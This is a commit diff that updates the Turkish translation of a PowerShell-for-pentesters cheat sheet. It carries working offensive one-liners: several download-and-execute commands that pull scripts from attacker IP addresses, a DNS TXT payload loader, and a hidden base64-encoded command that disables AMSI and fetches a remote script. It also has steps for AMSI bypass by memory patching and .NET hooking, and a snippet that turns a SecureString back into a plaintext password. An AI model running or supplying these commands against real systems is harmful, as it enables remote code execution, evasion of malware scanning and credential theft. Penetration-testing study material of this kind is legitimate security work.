Translated ['src/windows-hardening/basic-powershell-for-pentesters/READM

This commit is contained in:
Translator 2025-01-22 16:13:29 +00:00
parent 2b3e7fc77f
commit 11264d54fc

View File

@ -7,7 +7,7 @@
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
```
## Başlangıç için Temel PS Komutları
## Temel PS komutları ile başlamak
```powershell
Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
@ -18,7 +18,6 @@ Get-Command -Module <modulename>
```
## İndir & Çalıştır
```powershell
g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
@ -30,7 +29,7 @@ $wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
```
### AMSI Bypass ile Arka Planda İndir & Çalıştır
### AMSI Bypass ile Arka Planda İndir ve Çalıştır
```powershell
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="
```
@ -115,9 +114,9 @@ ValueData : 0
```
### AMSI atlatma
**`amsi.dll`** **yüklenir** ve herhangi bir uygulamanın etkileşimde bulunması için gerekli **ihracatlara** sahiptir. Ve kontrol ettiğiniz bir işlemin bellek alanına yüklendiği için, **bellekteki talimatları geçersiz kılarak** davranışını değiştirebilirsiniz. Böylece hiçbir şeyi tespit etmemesini sağlarsınız.
**`amsi.dll`** **süreç** içine **yüklenir** ve herhangi bir uygulamanın etkileşimde bulunması için gerekli **ihracatlara** sahiptir. Ve kontrol ettiğiniz bir sürecin bellek alanına yüklendiği için, **bellekteki talimatları geçersiz kılarak** davranışını değiştirebilirsiniz. Böylece hiçbir şeyi tespit etmemesini sağlarsınız.
Bu nedenle, AMSI atlatmalarının amacı, **tespiti işe yaramaz hale getirmek için o DLL'nin bellek içindeki talimatlarını geçersiz kılmaktır**.
Bu nedenle, kullanacağınız AMSI atlatmalarının amacı, **tespiti işe yaramaz hale getirmek için o DLL'in bellek içindeki talimatlarını geçersiz kılmaktır**.
**AMSI atlatma oluşturucu** web sayfası: [**https://amsi.fail/**](https://amsi.fail/)
```powershell
@ -166,27 +165,27 @@ https://slaeryan.github.io/posts/falcon-zero-alpha.html
```
### AMSI Bypass 2 - Managed API Call Hooking
[**Bu gönderide detaylı bilgi ve kod için kontrol edin**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/). Giriş:
Check [**this post for detailed info and the code**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/). Giriş:
Bu yeni teknik, .NET yöntemlerinin API çağrılarını yakalamaya dayanıyor. Görünüşe göre, .NET Yöntemlerinin bellekte yerel makine talimatlarına derlenmesi gerekiyor ve bu da yerel yöntemlere çok benzer bir görünüm alıyor. Bu derlenmiş yöntemler, bir programın kontrol akışını değiştirmek için yakalanabilir.
.NET yöntemlerinin API çağrılarını yakalama adımları şunlardır:
.NET yöntemlerinin API çağrılarını yakalamak için izlenecek adımlar:
1. Yakalamak için hedef yöntemi belirleyin
2. Hedefle aynı işlev prototipine sahip bir yöntem tanımlayın
3. Yöntemleri bulmak için yansıma kullanın
3. Yöntemleri bulmak için yansıma (reflection) kullanın
4. Her yöntemin derlendiğinden emin olun
5. Her yöntemin bellekteki konumunu bulun
6. Hedef yöntemi, kötü niyetli yöntemimize işaret eden talimatlarla üzerine yazın
### AMSI Bypass 3 - SeDebug Privilege
[**Bu kılavuzu ve kodu takip ederek**](https://github.com/MzHmO/DebugAmsi) yeterli ayrıcalıklara sahip olduğunuzda, bir powershell.exe süreci başlatabilir, onu hata ayıklayabilir, `amsi.dll` yüklendiğinde izleyebilir ve devre dışı bırakabilirsiniz.
[**Following this guide & code**](https://github.com/MzHmO/DebugAmsi) ile yeterli ayrıcalıklara sahip olduğunuzda, bir powershell.exe süreci başlatabilir, bunu hata ayıklayabilir, `amsi.dll` yüklendiğinde izleyebilir ve devre dışı bırakabilirsiniz.
### AMSI Bypass - Daha Fazla Kaynak
- [S3cur3Th1sSh1t/Amsi-Bypass-Powershell](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)
- [2023'te Windows 11'de Amsi Bypass](https://gustavshen.medium.com/bypass-amsi-on-windows-11-75d231b2cac6) [Github](https://github.com/senzee1984/Amsi_Bypass_In_2023)
- [Amsi Bypass on Windows 11 In 2023](https://gustavshen.medium.com/bypass-amsi-on-windows-11-75d231b2cac6) [Github](https://github.com/senzee1984/Amsi_Bypass_In_2023)
## PS-History
```powershell
@ -227,6 +226,8 @@ $shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()
```
[https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/](https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/)
## Alan Recon
{{#ref}}
@ -238,7 +239,7 @@ powerview.md
Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name
```
## Güvenli Dizeyi Düz Metne Dönüştürme
## Güvenli Dizeyi Düz Metne Çevirme
```powershell
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"